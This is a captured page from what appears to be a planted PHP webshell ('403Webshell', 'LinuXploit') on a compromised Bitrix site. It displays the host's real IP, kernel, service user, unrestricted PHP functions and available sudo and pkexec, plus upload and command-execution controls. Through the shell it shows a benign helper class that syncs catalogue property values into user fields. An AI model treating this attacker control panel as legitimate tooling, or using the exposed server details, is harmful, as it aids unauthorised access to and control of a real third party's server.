403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/php_interface/wbs24.lib/lib/UserProperties/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/php_interface/wbs24.lib/lib/UserProperties/Helper.php
<?php
namespace Wbs24\Lib\UserProperties;

use Bitrix\Main\Loader;

class Helper
{
    const COLOR_FIELD_ID = 127;
    const EVENT_FIELD_ID = 126;
    const FOR_WHOM_FIELD_ID = 128;

    const IBLOCK_ID = 18;
    const NEED_PROPERTY_CODES = [
        'COLOR_REF2' => 'DIRECTORY',
        'SOBITIE' => 'LIST',
        'DLT_KOGO' => 'LIST',
    ];

    public function __construct() {
        if (!Loader::includeModule('iblock')) return false;
        if (!Loader::includeModule('highloadblock')) return false;
    }

    public function controller()
    {
        foreach (self::NEED_PROPERTY_CODES as $code => $key) {

            switch ($key) {
                case 'DIRECTORY':
                    $xmlIdsToValues = $this->getDirectoryPropertyValues($code);
                    break;
                case 'LIST':
                    $xmlIdsToValues = $this->getListPropertyValues($code);
                    break;
            }

            switch ($code) {
                case 'COLOR_REF2':
                    $this->setUserFiled($xmlIdsToValues, self::COLOR_FIELD_ID);
                    break;
                case 'SOBITIE':
                    $this->setUserFiled($xmlIdsToValues, self::EVENT_FIELD_ID);
                    break;
                case 'DLT_KOGO':
                    $this->setUserFiled($xmlIdsToValues, self::FOR_WHOM_FIELD_ID);
                    break;
            }
        }

    }

    protected function getDirectoryPropertyValues($code)
    {
        $xmlIdsToValues = [];

        $result = \CIBlockProperty::GetList(
            ["sort"=>"asc", "name"=>"asc"],
            [
                "IBLOCK_ID" => self::IBLOCK_ID,
                "CODE" => $code
            ]
        );
        if ($property = $result->GetNext())
        {
            $hlblock = \Bitrix\Highloadblock\HighloadBlockTable::getRow([
                'filter' => [
                '=TABLE_NAME' => $property['USER_TYPE_SETTINGS']['TABLE_NAME']
                ],
            ]);

            if ($hlblock) {
                $entity = \Bitrix\Highloadblock\HighloadBlockTable::compileEntity($hlblock);
                $entityClass = $entity->getDataClass();
                $arRecords = $entityClass::getList([]);

                foreach ($arRecords as $record) {
                    $xmlIdsToValues[$record['UF_XML_ID']] = $record['UF_NAME'];
                }
            }
        }

        return $xmlIdsToValues;
    }

    protected function getListPropertyValues($code)
    {
        $xmlIdsToValues = [];

        $result = \CIBlockPropertyEnum::GetList(
            ["ID"=>"ASC", "SORT"=>"ASC"],
            ["IBLOCK_ID"=> self::IBLOCK_ID, "CODE" => $code]
        );

        while ($property = $result->GetNext()) {
           $xmlIdsToValues[$property['XML_ID']] = $property['VALUE'];
        }

        return $xmlIdsToValues;
    }


    protected function setUserFiled($xmlIdsToValues, $fieldId)
    {
        $i = 0;
        foreach ($xmlIdsToValues as $xmlId => $value) {
            $obEnum = new \CUserFieldEnum();

            // Првоерка, существует ли уже значение в пользовательском свойстве
            $rsEnum = \CUserFieldEnum::GetList([], ["XML_ID" => $xmlId]);
            if ($arEnum = $rsEnum->Fetch()) continue;

            $obEnum->SetEnumValues($fieldId, [
                'n'.$i => [
                    'XML_ID' => $xmlId,
                    'VALUE' => $value,
                    'DEF' => 'N',
                ]
            ]);

            $i += 1;
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit